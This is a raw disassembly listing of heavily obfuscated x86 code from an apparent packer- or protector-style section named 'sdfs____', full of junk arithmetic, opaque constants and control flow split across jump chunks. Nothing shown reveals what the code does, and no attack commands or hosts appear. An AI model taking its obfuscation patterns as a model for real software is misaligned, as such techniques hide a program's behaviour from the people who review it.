--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A55B2: ; CODE XREF: sub_599D0E+4DBCj add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp+4+var_4], eax push dword ptr [esp+4] mov eax, [esp+0] jmp loc_5A1B91 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A55D1: ; CODE XREF: sub_5AC803-11C79j inc esi jo loc_59B470 add esi, 294257EAh jmp loc_5A7701 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A55E3: ; CODE XREF: sub_5A79BE-844Aj sub ecx, 17B7615Ah add ecx, 34D33F4Fh sub ebx, ecx pop ecx push 2878h jmp loc_5A0EA3 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A55FC: ; CODE XREF: sub_5A7BA0:loc_5A4BB2j inc eax xor eax, 8945C9BCh jmp loc_59F253 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; =============== S U B R O U T I N E ======================================= sub_5A5607 proc near ; CODE XREF: sub_5A503A+4870j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059DCA7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A03D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A0861 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A13BF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A2843 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A2D2E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A9570 SIZE 0000000C BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp jmp loc_5A9570 sub_5A5607 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A561F: ; CODE XREF: sub_59993B+BAFCj or ecx, 26B9520Ch not ecx jmp loc_5A60CC ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A562C: ; CODE XREF: sub_5AA2D1-CD30j mov dx, [esp+0] push esi mov esi, esp jmp loc_5A7AD9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A5638: ; CODE XREF: sub_5A79BE:loc_59BC20j add esi, 0C8FAF6D0h mov ecx, esi pop esi sub ecx, ebx jmp loc_59BFD6 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; =============== S U B R O U T I N E ======================================= sub_5A5648 proc near ; CODE XREF: sub_5A477C-8447j ; DATA XREF: sdfs____:00598EE8o var_10 = dword ptr -10h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059BEEF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BFC7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059EE34 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A1BEA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A5567 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A761D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE3F3 SIZE 00000017 BYTES mov eax, [esp+0] push edx mov edx, esp push eax jmp loc_59EE34 sub_5A5648 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5654: ; CODE XREF: sub_5AA2D1+510Fj pop [esp+2+var_4+2] mov esp, [esp+0] shl dword ptr [esp+0], cl jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BAD3 loc_5A5662: ; CODE XREF: sub_59BAD3+5463j add edx, esi mov esi, [esp+0Ch+var_C] jmp loc_5A70FF ; END OF FUNCTION CHUNK FOR sub_59BAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A566C: ; CODE XREF: sub_5ABB65+1270j mov [esp+10h+var_10], eax jmp loc_5A8E6A ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EB4 loc_5A5674: ; CODE XREF: sub_5A9EB4-B5A1j ; sub_5A9B1D-2724j xchg edi, [edx+38h] xchg esi, edi jmp loc_59A972 ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A567E: ; CODE XREF: sub_59E94B+B75Ej sub ecx, 13655D14h not ecx jmp loc_5AFB60 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A568B: ; CODE XREF: sub_5AE29C+1730j xor edx, 1482F1Eh add ecx, edx jmp loc_59FBA6 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A5698: ; CODE XREF: sub_5992DA+B69Aj add esp, 4 or edx, eax jmp loc_59D78D ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A56A2: ; CODE XREF: sub_59E94B-38E3j sub ecx, 13655D14h jmp loc_5A8C50 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A56AD: ; CODE XREF: sub_5A77D5+6190j pop edx sub ebx, 0FFFFFFFFh sub ebx, 7FEE7D7Ch jmp loc_5A6336 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A56BC: ; CODE XREF: sub_5AA2D1:loc_5ADBC6j xor ebx, 3E784777h mov edi, ebx jmp loc_5A8230 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A56C9: ; CODE XREF: sub_59C979+10BB7j jz loc_5AD069 add cl, 0B6h jno loc_5A552B or cl, 76h jmp loc_5A712A ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- push 42E2h pop ebp ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A56E6: ; CODE XREF: sub_5996E4+F8EFj add esi, 4 add esi, 4 xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] mov esp, [esp+4+var_4] xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] mov esp, [esp+4+var_4] or eax, eax jz loc_59C6BF push dword ptr [edi+28h] push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A82D3 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; =============== S U B R O U T I N E ======================================= sub_5A5735 proc near ; CODE XREF: sub_5992DA+13986j ; DATA XREF: sdfs____:00598FE0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059ACB7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059C246 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A188D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A5CD0 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005AF76D SIZE 0000003F BYTES mov cx, [esp+0] push 75B2h mov [esp+4+var_4], esi push esp pop esi jmp loc_5A188D sub_5A5735 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5748: ; CODE XREF: sub_5AA2D1-A82Fj add edx, ebx pop ebx sub edx, 4 push edx jmp loc_5A3073 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A5757: ; CODE XREF: sub_5A522E+754j and ebx, esi jmp loc_59A7DF ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E325 loc_5A575E: ; CODE XREF: sub_59E325+9j pop ecx pop ebx add eax, ecx mov ecx, [esp-4+arg_0] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5A62B0 ; END OF FUNCTION CHUNK FOR sub_59E325 ; =============== S U B R O U T I N E ======================================= sub_5A577C proc near ; CODE XREF: sub_59C95F+4116j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599A0F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C27E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059D02A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A1CBC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A457F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A52E9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005ABF7F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AD8E3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ADC1E SIZE 0000000A BYTES push ebp push esi jmp loc_599A0F sub_5A577C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A5783: ; CODE XREF: sub_5ABEF6-4B7Aj sub ebx, 404376D3h push edi mov edi, 521A7445h dec edi or edi, 673C2342h and edi, 5A956DE1h sub edi, 0D355617Eh sub ebx, edi pop edi jmp loc_59F10B ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AA62 loc_5A57AA: ; CODE XREF: sub_59AA62+623Cj mov [esp+8+var_8], ebp jmp loc_5A1B38 ; END OF FUNCTION CHUNK FOR sub_59AA62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A57B2: ; CODE XREF: sub_5AA2D1-109FEj add dword ptr [esp+0], 4 pop ecx jmp sub_5A8E3E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A57BC: ; CODE XREF: sub_5A63DC-A41Aj xchg ebx, [esp+10h+var_10] jmp loc_5AADE9 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A57C4: ; CODE XREF: sub_5ABEF6-6BCBj add esi, 732A125Bh pop edi push 27A9h mov [esp+8+var_8], eax mov eax, 315A7F64h neg eax push ebp jmp loc_5A66F2 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F18C loc_5A57E0: ; CODE XREF: sub_59F18C-4D39j xor ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] imul cx, ax push cx pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F18C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB2EA loc_5A57F2: ; CODE XREF: sub_5AB2EA+2j pop ebp push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 push 36A7h mov [esp+8+var_8], ebp jmp loc_59E77C ; END OF FUNCTION CHUNK FOR sub_5AB2EA ; =============== S U B R O U T I N E ======================================= sub_5A580F proc near ; CODE XREF: sub_59D6B8-3AB6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059AD19 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059ADAB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059BBE6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059CF5F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059D1D1 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0059D2F6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059D9DA SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0059DEA8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059E294 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059ECE2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F540 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059FF64 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059FFD2 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A02B5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A07F4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A089C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A173B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A1FC3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A2234 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A25FA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3966 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A3BBF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A656E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A7FDB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A852E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A94B6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A9AB2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AA514 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA917 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AB9DD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005ABA43 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ABC27 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AD3B7 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005AE166 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AE539 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 005AE874 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005AF9D1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AFFF5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005B021F SIZE 00000014 BYTES sub esp, 4 jmp loc_5ABA43 sub_5A580F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5A5817: ; CODE XREF: sub_5AD213-DA8Dj pop edx jmp loc_5AD1A4 ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5A581D: ; CODE XREF: sub_5AA5F6+1FBj add al, 53h jmp loc_5A5199 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; =============== S U B R O U T I N E ======================================= sub_5A5824 proc near ; CODE XREF: sub_5AA2D1-10C72j ; sub_5AE9FA-1327Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A6A0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059FCC0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059FDB8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A3BE5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A6B66 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A6ED7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A721C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A8514 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A8A0A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ABADF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AE2D8 SIZE 0000002B BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push 45EBh mov [esp+4+var_4], eax push 601Ch mov [esp+8+var_8], ebp mov ebp, 5EFE70A3h push 5B957D7Ch pop eax xor eax, ebp push [esp+8+var_8] pop ebp jmp loc_59FCC0 sub_5A5824 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5A309D ; --------------------------------------------------------------------------- loc_5A587D: ; CODE XREF: sdfs____:0059EAB5j sub al, cl jmp loc_5A74D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A5884: ; CODE XREF: sub_59A479+4BA0j push [esp+4+var_4] pop ecx add esp, 4 push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_5AD751 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0266 loc_5A58A5: ; CODE XREF: sub_5B0266-F037j mov [esp+8+var_8], edx mov edx, 4 add eax, edx jmp loc_5ACCD6 ; END OF FUNCTION CHUNK FOR sub_5B0266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A58B4: ; CODE XREF: sub_59CBE1+1j mov ebx, 4 add ebp, ebx mov ebx, [esp-10h+arg_C] add esp, 4 push ebp push [esp-10h+arg_10] pop ebp jmp loc_59A809 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A58CF: ; CODE XREF: sub_5AA2D1+28F9j ; sub_5A9EBF+5DF7j mov bh, 0E1h push ebx mov bl, 9Ch add ch, bl pop ebx sub ch, bh sub ch, 9Ch pop bx jmp loc_5A0E3C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A58E3: ; CODE XREF: sub_5A9EBF+F5Bj add ebx, eax push ebp push eax push 6E485C2Ah jmp loc_5A45E6 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A58F1: ; CODE XREF: sub_5A72CB+497Ej pop eax add esp, 4 neg ebp jmp loc_5A0CE1 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- loc_5A58FF: ; CODE XREF: sdfs____:0059B50Bj sub esp, 4 mov [esp], edx jmp loc_5A03CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A590A: ; CODE XREF: sub_5A477C-46BAj push esp pop esi jmp loc_5B0145 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A5911: ; CODE XREF: sub_5A86D0-5218j mov edx, 0D16D7414h xor eax, edx jmp loc_5A5998 ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A591D: ; CODE XREF: sub_5B01F7-E91Aj mov edi, [esp+0] add esp, 4 sub eax, 35E807CBh sub eax, 1A316D36h add eax, edx add eax, 1A316D36h add eax, 35E807CBh pop edx push 57B0h jmp loc_5A7DF2 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A5944: ; CODE XREF: sub_59D6B8+F8BAj push 0 mov ecx, [esp-10h+arg_C] push 5B38h jmp loc_599F5B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A5956 proc near ; CODE XREF: sub_5A0CD9-68E5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059F943 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A4175 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AC337 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_5A4175 sub_5A5956 endp ; =============== S U B R O U T I N E ======================================= sub_5A5968 proc near ; DATA XREF: sdfs____:00598FC0o pop dword ptr [edx] jmp loc_59910F sub_5A5968 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A596F: ; CODE XREF: sub_5A60F3-32B7j ; sub_59A26C+105FFj xchg edx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], esp add [esp-8+arg_4], 4 jmp loc_59AB4E ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A597F: ; CODE XREF: sub_5A522E-177Fj xor esi, edi pop edi jmp loc_5A5757 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A5987: ; CODE XREF: sub_5992DA+A0D0j add bh, 0CFh sub esp, 4 mov [esp+22h+var_22], eax jmp loc_5AF917 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A5998: ; CODE XREF: sub_5A86D0-2DB8j pop edx mov ebx, eax pop eax push edi mov edi, 2E35306h sub eax, edi jmp loc_5AC030 ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; =============== S U B R O U T I N E ======================================= sub_5A59A9 proc near ; DATA XREF: sdfs____:00598EA0o push dword ptr [edi+1Ch] popf pop ax sbb [esp+0], al pushf jmp loc_59910F sub_5A59A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A59B8: ; CODE XREF: sub_5AA2D1-AE73j mov edx, esp push ecx jmp loc_59B5CD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A59C0: ; CODE XREF: sdfs____:005992FEj pop ecx add dword ptr [esp], 0E5862A9h sub [esp], eax sub dword ptr [esp], 0E5862A9h push 6213h mov [esp], ecx jmp loc_5A4758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A59DF: ; CODE XREF: sub_5992DA+2C84j add eax, 0FDBEDE71h jmp sub_5A77D5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A59E9: ; CODE XREF: sub_59EE3E-4317j push ecx jmp loc_5A7BFB ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A59EF: ; CODE XREF: sub_59C979+11118j pop bx xor dh, cl pop cx add cl, 32h add cl, 17h add cl, 5Ch sub cl, dh sub cl, 5Ch sub cl, 17h sub cl, 32h jmp loc_5A44A2 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A5A0E: ; CODE XREF: sub_59FE51+A0F1j mov ecx, 4 add edi, ecx mov ecx, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5A33C9 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5A2C: ; CODE XREF: sub_5AA2D1-1EBAj mov edi, 3EF93CA3h sub edi, 7600668Eh sub edi, 6B4C6A99h sub ebx, edi pop edi mov eax, [esp-10h+arg_C] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-0Ch+arg_8] pop esp add ebx, 7AB514DBh push ecx mov ecx, 631E0053h add ebx, ecx pop ecx jmp loc_5A0E0A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5A5A6A: ; CODE XREF: sub_5A917C-8EE6j push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 jmp loc_5A0DBA ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5A78: ; CODE XREF: sub_5AA2D1+3679j mov dh, ah pop eax add al, 34h jmp $+5 loc_5A5A82: ; CODE XREF: sub_5A63DC+52E4j push edx mov dl, 85h add al, dl mov edx, [esp-10h+arg_C] add esp, 4 push ecx mov ch, 43h push dx mov dh, 0DEh jmp loc_59E655 ; --------------------------------------------------------------------------- loc_5A5A9C: ; CODE XREF: sub_5AA2D1-2431j ; sub_59D18A+BECDj ... sub esi, 4BA5261Fh add esi, 72CF5F7Eh mov ebp, esi jmp loc_5A0D38 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A5AAF: ; CODE XREF: sub_5992DA+16382j add ecx, 4 add ecx, 4 xchg ecx, [esp+0] pop esp mov eax, [esp+4+var_6+2] add esp, 4 jmp loc_5ADAFE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A5ACD: ; CODE XREF: sub_59C979+F534j mov ebx, 800h and eax, ebx mov ebx, [esp+0] push edi mov edi, esp add edi, 4 push 734h mov [esp+6+var_6], eax mov eax, 32F65EA3h jmp loc_59E789 ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_5A5AF2 proc near ; CODE XREF: sub_5A5B27+7847j arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0059A732 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A088B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A116E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A155F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A8112 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADAB0 SIZE 00000008 BYTES push ebx mov bl, 0FDh mov dh, bl pop ebx push eax mov al, 0F4h not al shr al, 8 xor al, 96h sub dh, al jmp loc_59A732 sub_5A5AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A5B09: ; CODE XREF: sub_5A477C+328Bj add ebx, edi pop edi sub ebx, eax sub esp, 4 mov [esp+0], eax mov eax, 18DD237Ah add ebx, 65213C2Eh jmp loc_59920A ; END OF FUNCTION CHUNK FOR sub_5A477C ; =============== S U B R O U T I N E ======================================= sub_5A5B27 proc near ; DATA XREF: sdfs____:00598ED8o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059EC47 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A1336 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A2001 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A46C7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A65BD SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A6D85 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A83F5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AB467 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005ACB2B SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AD36C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AE691 SIZE 0000001A BYTES mov ax, word ptr [esp+8+var_8] push 618h mov [esp+0], ebx push 499Eh mov [esp+0], esp add dword ptr [esp+0], 4 pop ebx push esi jmp loc_5A46C7 sub_5A5B27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A5B49: ; CODE XREF: sub_5B01F7-6478j shr eax, 2 jnp loc_59BEA7 push 6913h jmp loc_5A6691 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A5B5C: ; CODE XREF: sub_5AA2D1-102Fj add esi, 10012552h jnp loc_59EA54 add esi, 0EFFF1F57h mov ecx, esi mov ecx, edi loc_5A5B72: ; CODE XREF: sdfs____:005AD322j sub eax, 66430FD8h jo loc_5AD8BD add eax, 1EA50D8Bh shr eax, 5 neg eax jmp loc_5A095C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5A5B8C: ; CODE XREF: sub_5A10E3+24Ej mov edi, 19AA474Dh sub [esp+8+var_4], edi pop edi jmp loc_59AD19 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF6AC loc_5A5B9B: ; CODE XREF: sub_5AF6AC-12006j mov ebx, 587D51C4h add edi, ebx mov ebx, [esp+0] add esp, 4 xor edi, 0E9859E3Ch add eax, edi pop edi add edi, eax pop eax jmp sub_5992DA ; END OF FUNCTION CHUNK FOR sub_5AF6AC ; 